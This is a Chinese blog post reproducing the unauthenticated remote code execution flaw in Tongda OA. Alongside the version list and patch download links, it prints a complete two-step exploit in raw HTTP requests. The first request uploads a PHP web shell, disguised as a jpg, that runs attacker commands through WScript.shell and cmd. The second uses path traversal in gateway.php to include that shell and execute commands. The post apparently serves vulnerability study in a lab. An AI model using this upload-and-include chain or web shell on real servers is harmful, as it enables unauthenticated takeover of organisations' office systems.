漏洞复现 | 通达OA命令执行漏洞复现

谢公子

发布于 2022-01-19 20:59:20

6.7K1

发布于 2022-01-19 20:59:20

文章被收录于专栏：谢公子学安全

通达OA命令执行漏洞复现

漏洞描述

漏洞等级

漏洞影响版本

修复建议

漏洞复现

▶漏洞描述

通达OA是北京通达信科科技有限公司出品的 "Office Anywhere 通达网络智能办公系统"。

3月13日，通达OA在官方论坛发布通告称，近日接到用户反馈遭到勒索病毒攻击，提示用户注意安全风险，并且于同一天对所有版本发布了加固补丁。

在受影响的版本中，攻击者可以在未认证的情况下向服务器上传jpg图片文件，然后包含该文件，造成远程代码执行。该漏洞无需登录即可触发。

▶漏洞等级

高危

▶漏洞影响版本

V11版
2017版
2016版
2015版
2013增强版
2013版

▶修复建议

版本	更新包下载地址
V11版	http://cdndown.tongda2000.com/oa/security/2020_A1.11.3.exe
2017版	http://cdndown.tongda2000.com/oa/security/2020_A1.10.19.exe
2016版	http://cdndown.tongda2000.com/oa/security/2020_A1.9.13.exe
2015版	http://cdndown.tongda2000.com/oa/security/2020_A1.8.15.exe
2013增强版	http://cdndown.tongda2000.com/oa/security/2020_A1.7.25.exe
2013版	http://cdndown.tongda2000.com/oa/security/2020_A1.6.20.exe

▶漏洞复现

首先下载安装包安装环境，安装包地址，关注微信公众号：xie_sec ，回复：通达OA 即可获得下载链接。

安装好漏洞环境后，访问目标网站。默认账号：admin 密码为空

◣脚本复现

首先用脚本复现，直接命令执行即可。

python3 tongda_rce.py 目标URL

◣手工复现

手工抓包验证，该漏洞存在于以下两个链接中，并且以下链接无需认证即可访问。

任意文件上传漏洞 /ispirit/im/upload.php
本地文件包含漏洞 /ispirit/interface/gateway.php

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.10.130
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
 
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
 
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
 
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
 
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
 
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

上传成功后，我们看到服务器端返回的数据。接下来下一步我们需要包含的文件名就是 2003/89512385.jpg

然后访问 /ispirit/interface/gateway.php 链接，POST数据包如下

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.10.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
 
json={"url":"../../../general/../attach/im/2003/89512385.jpg"}&cmd=ipconfig